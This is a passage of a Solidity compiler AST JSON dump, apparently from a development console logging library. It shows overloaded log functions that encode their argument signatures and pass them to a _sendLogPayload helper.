view"}},"id":21640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49582:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21641,"nodeType":"ExpressionStatement","src":"49582:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49509:3:14","parameters":{"id":21629,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21622,"mutability":"mutable","name":"p0","nameLocation":"49518:2:14","nodeType":"VariableDeclaration","scope":21643,"src":"49513:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21621,"name":"bool","nodeType":"ElementaryTypeName","src":"49513:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21624,"mutability":"mutable","name":"p1","nameLocation":"49527:2:14","nodeType":"VariableDeclaration","scope":21643,"src":"49522:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21623,"name":"bool","nodeType":"ElementaryTypeName","src":"49522:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21626,"mutability":"mutable","name":"p2","nameLocation":"49545:2:14","nodeType":"VariableDeclaration","scope":21643,"src":"49531:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21625,"name":"string","nodeType":"ElementaryTypeName","src":"49531:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21628,"mutability":"mutable","name":"p3","nameLocation":"49554:2:14","nodeType":"VariableDeclaration","scope":21643,"src":"49549:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21627,"name":"uint","nodeType":"ElementaryTypeName","src":"49549:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"49512:45:14"},"returnParameters":{"id":21630,"nodeType":"ParameterList","parameters":[],"src":"49572:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21666,"nodeType":"FunctionDefinition","src":"49681:186:14","nodes":[],"body":{"id":21665,"nodeType":"Block","src":"49762:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e672c737472696e6729","id":21657,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49812:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6d1e87518c98344bc3efd52648f61de340bda51607aec409d641f3467caafaaf","typeString":"literal_string \"log(bool,bool,string,string)\""},"value":"log(bool,bool,string,string)"},{"id":21658,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21645,"src":"49844:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21659,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21647,"src":"49848:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21660,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21649,"src":"49852:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21661,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21651,"src":"49856:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6d1e87518c98344bc3efd52648f61de340bda51607aec409d641f3467caafaaf","typeString":"literal_string \"log(bool,bool,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21655,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49788:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21656,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49792:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49788:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49788:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21654,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"49772:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21663,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49772:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21664,"nodeType":"ExpressionStatement","src":"49772:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49690:3:14","parameters":{"id":21652,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21645,"mutability":"mutable","name":"p0","nameLocation":"49699:2:14","nodeType":"VariableDeclaration","scope":21666,"src":"49694:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21644,"name":"bool","nodeType":"ElementaryTypeName","src":"49694:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21647,"mutability":"mutable","name":"p1","nameLocation":"49708:2:14","nodeType":"VariableDeclaration","scope":21666,"src":"49703:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21646,"name":"bool","nodeType":"ElementaryTypeName","src":"49703:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21649,"mutability":"mutable","name":"p2","nameLocation":"49726:2:14","nodeType":"VariableDeclaration","scope":21666,"src":"49712:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21648,"name":"string","nodeType":"ElementaryTypeName","src":"49712:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21651,"mutability":"mutable","name":"p3","nameLocation":"49744:2:14","nodeType":"VariableDeclaration","scope":21666,"src":"49730:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21650,"name":"string","nodeType":"ElementaryTypeName","src":"49730:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"49693:54:14"},"returnParameters":{"id":21653,"nodeType":"ParameterList","parameters":[],"src":"49762:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21689,"nodeType":"FunctionDefinition","src":"49873:175:14","nodes":[],"body":{"id":21688,"nodeType":"Block","src":"49945:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e672c626f6f6c29","id":21680,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49995:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_b857163a2b7b8273ed53cefa410aa148f1833bdfc22da11e1e2fb89c6e625d02","typeString":"literal_string \"log(bool,bool,string,bool)\""},"value":"log(bool,bool,string,bool)"},{"id":21681,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21668,"src":"50025:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21682,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21670,"src":"50029:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21683,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21672,"src":"50033:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21684,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21674,"src":"50037:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b857163a2b7b8273ed53cefa410aa148f1833bdfc22da11e1e2fb89c6e625d02","typeString":"literal_string \"log(bool,bool,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21678,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49971:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21679,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49975:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49971:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21685,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49971:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21677,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"49955:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21686,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49955:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21687,"nodeType":"ExpressionStatement","src":"49955:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49882:3:14","parameters":{"id":21675,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21668,"mutability":"mutable","name":"p0","nameLocation":"49891:2:14","nodeType":"VariableDeclaration","scope":21689,"src":"49886:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21667,"name":"bool","nodeType":"ElementaryTypeName","src":"49886:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21670,"mutability":"mutable","name":"p1","nameLocation":"49900:2:14","nodeType":"VariableDeclaration","scope":21689,"src":"49895:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21669,"name":"bool","nodeType":"ElementaryTypeName","src":"49895:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21672,"mutability":"mutable","name":"p2","nameLocation":"49918:2:14","nodeType":"VariableDeclaration","scope":21689,"src":"49904:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21671,"name":"string","nodeType":"ElementaryTypeName","src":"49904:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21674,"mutability":"mutable","name":"p3","nameLocation":"49927:2:14","nodeType":"VariableDeclaration","scope":21689,"src":"49922:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21673,"name":"bool","nodeType":"ElementaryTypeName","src":"49922:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"49885:45:14"},"returnParameters":{"id":21676,"nodeType":"ParameterList","parameters":[],"src":"49945:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21712,"nodeType":"FunctionDefinition","src":"50054:181:14","nodes":[],"body":{"id":21711,"nodeType":"Block","src":"50129:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e672c6164647265737329","id":21703,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50179:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f9ad2b893873fa31c02b102aa30743b2e44c102daa588ea9d1eb1f2baf23d202","typeString":"literal_string \"log(bool,bool,string,address)\""},"value":"log(bool,bool,string,address)"},{"id":21704,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21691,"src":"50212:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21705,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21693,"src":"50216:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21706,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21695,"src":"50220:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21707,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21697,"src":"50224:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f9ad2b893873fa31c02b102aa30743b2e44c102daa588ea9d1eb1f2baf23d202","typeString":"literal_string \"log(bool,bool,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21701,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50155:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21702,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50159:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50155:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50155:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21700,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"50139:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21709,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50139:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21710,"nodeType":"ExpressionStatement","src":"50139:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50063:3:14","parameters":{"id":21698,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21691,"mutability":"mutable","name":"p0","nameLocation":"50072:2:14","nodeType":"VariableDeclaration","scope":21712,"src":"50067:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21690,"name":"bool","nodeType":"ElementaryTypeName","src":"50067:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21693,"mutability":"mutable","name":"p1","nameLocation":"50081:2:14","nodeType":"VariableDeclaration","scope":21712,"src":"50076:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21692,"name":"bool","nodeType":"ElementaryTypeName","src":"50076:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21695,"mutability":"mutable","name":"p2","nameLocation":"50099:2:14","nodeType":"VariableDeclaration","scope":21712,"src":"50085:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21694,"name":"string","nodeType":"ElementaryTypeName","src":"50085:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21697,"mutability":"mutable","name":"p3","nameLocation":"50111:2:14","nodeType":"VariableDeclaration","scope":21712,"src":"50103:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21696,"name":"address","nodeType":"ElementaryTypeName","src":"50103:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"50066:48:14"},"returnParameters":{"id":21699,"nodeType":"ParameterList","parameters":[],"src":"50129:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21735,"nodeType":"FunctionDefinition","src":"50241:164:14","nodes":[],"body":{"id":21734,"nodeType":"Block","src":"50304:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c2c75696e7429","id":21726,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50354:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c248834dff84ca4bcbda9cf249a0d5da3bd0a58b4562085082654d4d9851b501","typeString":"literal_string \"log(bool,bool,bool,uint)\""},"value":"log(bool,bool,bool,uint)"},{"id":21727,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21714,"src":"50382:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21728,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21716,"src":"50386:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21729,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21718,"src":"50390:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21730,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21720,"src":"50394:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c248834dff84ca4bcbda9cf249a0d5da3bd0a58b4562085082654d4d9851b501","typeString":"literal_string \"log(bool,bool,bool,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21724,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50330:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21725,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50334:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50330:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21731,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50330:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21723,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"50314:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21732,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50314:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21733,"nodeType":"ExpressionStatement","src":"50314:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50250:3:14","parameters":{"id":21721,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21714,"mutability":"mutable","name":"p0","nameLocation":"50259:2:14","nodeType":"VariableDeclaration","scope":21735,"src":"50254:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21713,"name":"bool","nodeType":"ElementaryTypeName","src":"50254:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21716,"mutability":"mutable","name":"p1","nameLocation":"50268:2:14","nodeType":"VariableDeclaration","scope":21735,"src":"50263:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21715,"name":"bool","nodeType":"ElementaryTypeName","src":"50263:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21718,"mutability":"mutable","name":"p2","nameLocation":"50277:2:14","nodeType":"VariableDeclaration","scope":21735,"src":"50272:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21717,"name":"bool","nodeType":"ElementaryTypeName","src":"50272:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21720,"mutability":"mutable","name":"p3","nameLocation":"50286:2:14","nodeType":"VariableDeclaration","scope":21735,"src":"50281:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21719,"name":"uint","nodeType":"ElementaryTypeName","src":"50281:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"50253:36:14"},"returnParameters":{"id":21722,"nodeType":"ParameterList","parameters":[],"src":"50304:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21758,"nodeType":"FunctionDefinition","src":"50411:175:14","nodes":[],"body":{"id":21757,"nodeType":"Block","src":"50483:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c2c737472696e6729","id":21749,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50533:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2ae408d4d030305a0361ad07c397f2b9653613b220d82459c7aeb9a6bab96c15","typeString":"literal_string \"log(bool,bool,bool,string)\""},"value":"log(bool,bool,bool,string)"},{"id":21750,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21737,"src":"50563:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21751,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21739,"src":"50567:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21752,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21741,"src":"50571:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21753,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21743,"src":"50575:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2ae408d4d030305a0361ad07c397f2b9653613b220d82459c7aeb9a6bab96c15","typeString":"literal_string \"log(bool,bool,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21747,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"50509:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21748,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"50513:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"50509:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21754,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50509:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21746,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"50493:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"50493:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21756,"nodeType":"ExpressionStatement","src":"50493:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50420:3:14","parameters":{"id":21744,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21737,"mutability":"mutable","name":"p0","nameLocation":"50429:2:14","nodeType":"VariableDeclaration","scope":21758,"src":"50424:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21736,"name":"bool","nodeType":"ElementaryTypeName","src":"50424:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21739,"mutability":"mutable","name":"p1","nameLocation":"50438:2:14","nodeType":"VariableDeclaration","scope":21758,"src":"50433:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21738,"name":"bool","nodeType":"ElementaryTypeName","src":"50433:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21741,"mutability":"mutable","name":"p2","nameLocation":"50447:2:14","nodeType":"VariableDeclaration","scope":21758,"src":"50442:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21740,"name":"bool","nodeType":"ElementaryTypeName","src":"50442:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21743,"mutability":"mutable","name":"p3","nameLocation":"50465:2:14","nodeType":"VariableDeclaration","scope":21758,"src":"50451:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21742,"name":"string","nodeType":"ElementaryTypeName","src":"50451:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"50423:45:14"},"returnParameters":{"id":21745,"nodeType":"ParameterList","parameters":[],"src":"50483:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21781,"nodeType":"FunctionDefinition","src":"50592:164:14","nodes":[],"body":{"id":21780,"nodeType":"Block","src":"50655:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6